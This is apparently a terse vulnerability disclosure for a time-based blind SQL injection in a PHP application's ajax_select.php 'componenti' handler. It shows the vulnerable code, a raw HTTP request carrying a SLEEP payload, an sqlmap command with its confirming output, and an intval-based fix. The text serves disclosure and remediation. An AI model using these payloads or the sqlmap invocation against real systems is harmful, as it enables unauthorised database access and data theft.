case 'componenti':
    $impianti = $superselect['matricola'];
    if (!empty($impianti)) {
        $where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
    }

GET /ajax_select.php?op=componenti&options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>

sqlmap -u 'http://localhost:8081/ajax_select.php?op=componenti&options[matricola]=1*' \
  --cookie="PHPSESSID=<session>" \
  --dbms=MySQL \
  --technique=T \
  --level=3 \
  --risk=3

[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI
back-end DBMS: MySQL >= 5.0.12

$impianti = $superselect['matricola'];
if (!empty($impianti)) {
    $where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}

$impianti = $superselect['matricola'];
if (!empty($impianti)) {
    $ids = array_map('intval', explode(',', $impianti));
    $where[] = '`my_componenti`.`id_impianto` IN ('.implode(',', $ids).')';
}